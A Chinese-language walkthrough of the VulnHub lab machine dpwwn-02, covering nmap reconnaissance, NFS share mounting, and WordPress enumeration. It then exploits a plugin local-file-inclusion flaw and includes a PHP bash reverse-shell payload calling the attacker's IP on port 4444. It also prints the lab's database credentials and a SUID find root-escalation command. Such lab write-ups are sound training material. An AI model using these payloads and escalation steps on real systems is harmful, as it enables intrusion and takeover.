靶场下载地址
https://download.vulnhub.com/dpwwn/dpwwn-02.zip
环境配置
当打开此虚拟机环境的时候,可能会出现:当前硬件版本不支持设备“sata”。然后启动失败的情况~ 解决办法参考:https://www.cnblogs.com/yaodun55/p/16434468.html
此靶场环境为静态IP地址10.10.10.10,因此需要更改攻击机IP地址为10.10.10.0/24网段~
攻击机IP地址:
配置了两个网卡,一个是NAT,一个是仅主机;
信息收集
# nmap -sn 10.10.10.0/24 -oN live.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-15 09:29 CST
Nmap scan report for 10.10.10.1
Host is up (0.00020s latency).
MAC Address: 00:50:56:C0:00:13 (VMware)
Nmap scan report for 10.10.10.10
Host is up (0.00023s latency).
MAC Address: 00:0C:29:FB:00:9F (VMware)
Nmap scan report for 10.10.10.254
Host is up (0.00023s latency).
MAC Address: 00:50:56:FF:B3:34 (VMware)
Nmap scan report for 10.10.10.11
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.06 seconds
判断靶机的地址为10.10.10.10;
# nmap -sT --min-rate 10000 -p- 10.10.10.10 -oN port.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-15 09:36 CST
Nmap scan report for 10.10.10.10
Host is up (0.0018s latency).
Not shown: 65527 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
443/tcp open https
2049/tcp open nfs
33187/tcp open unknown
39137/tcp open unknown
42939/tcp open unknown
46841/tcp open unknown
MAC Address: 00:0C:29:FB:00:9F (VMware)
端口开放情况,开放的端口比较多,80对应http 111端口是远程过程调用 443 https 2049对应nfs 后面的端口暂时不知道具体是什么服务;
# nmap -sT -sC -sV -O -p80,111,443,2049,33187,39137,42939,46841 10.10.10.10 -oN details.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-15 09:36 CST
Nmap scan report for 10.10.10.10
Host is up (0.00056s latency).PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Ubuntu))
|_http-title: dpwwn-02
|_http-server-header: Apache/2.4.38 (Ubuntu)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 33187/tcp mountd
| 100005 1,2,3 45827/tcp6 mountd
| 100005 1,2,3 48521/udp6 mountd
| 100005 1,2,3 48823/udp mountd
| 100021 1,3,4 33481/udp6 nlockmgr
| 100021 1,3,4 34391/tcp6 nlockmgr
| 100021 1,3,4 45888/udp nlockmgr
| 100021 1,3,4 46841/tcp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
443/tcp open http Apache httpd 2.4.38 ((Ubuntu))
|_http-server-header: Apache/2.4.38 (Ubuntu)
|_http-title: dpwwn-02
2049/tcp open nfs 3-4 (RPC #100003)
33187/tcp open mountd 1-3 (RPC #100005)
39137/tcp open mountd 1-3 (RPC #100005)
42939/tcp open mountd 1-3 (RPC #100005)
46841/tcp open nlockmgr 1-4 (RPC #100021)
MAC Address: 00:0C:29:FB:00:9F (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
服务的详细信息探测:80端口上是Apache2.4.38 443端口是https看起来和80端口上没什么区别,其他的端口是rpc的相关服务!
# nmap -sU --min-rate 10000 -p- 10.10.10.10 -oN udp.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-15 09:37 CST
Warning: 10.10.10.10 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.10
Host is up (0.0010s latency).
Not shown: 65451 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
PORT STATE SERVICE
111/udp open rpcbind
2049/udp open nfs
45888/udp open unknown
47146/udp open unknown
48823/udp open unknown
57250/udp open unknown
MAC Address: 00:0C:29:FB:00:9F (VMware)Nmap done: 1 IP address (1 host up) scanned in 72.86 seconds
UDP端口的探测,结果显示如上端口开放,其中还是存在着RPC的相关服务,例如2049端口的NFS;由于之前测试过NFS的相关漏洞;因此这里选择渗透的优先级是 2049端口 之后如果没什么突破,就在80端口上寻找突破点~
渗透测试
利用showmount命令 参数-e 显示指定的NFS服务器中已被客户端连接的所有输出目录 :
showmount -e 10.10.10.10
发现了一个共享目录,利用mount命令挂载到我们的本地!
mkdir dpwwn2
mount -f nfs 10.10.10.10:/home/dpwwn02 ./dpwwn2
手动挂载完成之后,cd到dpwwn2目录下,什么都没有发现? 确认了一下自己的操作;没什么问题;转到80端口和443端口上进行突破!
80端口上暴漏出来的信息,显示的信息,实在告诉我们dpwwn02的目标是非常简单的,获取一个像root的shell~
源码中也没什么信息;尝试进行目录扫描:
目录扫描的结果可以看到,存在wordpress~ 尝试进行访问看:
没错确实是wordpress!那接下来就利用wpscan进行扫描:
点击“hello mate”之后,可以看到存在一个用户为admin! 利用wpscan发现确实存在一个用户为admin:
尝试对admin账号进行密码的枚举,发现失败了~
最后添加api token进行 插件等相关枚举:
发现了本地文件包含漏洞!
poc如上,利用curl进行请求:
成功访问到/etc/passwd文件!由于之前我们看到了NFS服务,我们可以在dpwwn的家目录下面写文件,然后包含?
<?php exec('/bin/bash -c "bash -i >& /dev/tcp/10.10.10.11/4444 0>&1"');?>
然后利用LFI漏洞进行包含,同时起监听:
成功收到会话~ 权限是www-data权限~
提权
查看wp-config.php文件内容:
看到了数据库的账号和密码信息:
dpwwn02
wpuser
wp$%bd(*&u$)rJmKa
想去看看mysql数据库中是不是存储着其他的用户信息,但是登录之后执行不了命令,一直卡住不知道具体原因是什么?
查看定时任务:
存在定时任务,但是 user并不是root 而是www-data,便没有办法去提权了~ 查找suid权限的文件:
find命令! 直接利用find命令进行提权了~ 利用find | GTFOBins
find . -exec /bin/sh -p \; -quit
读取root目录下面的flag文件!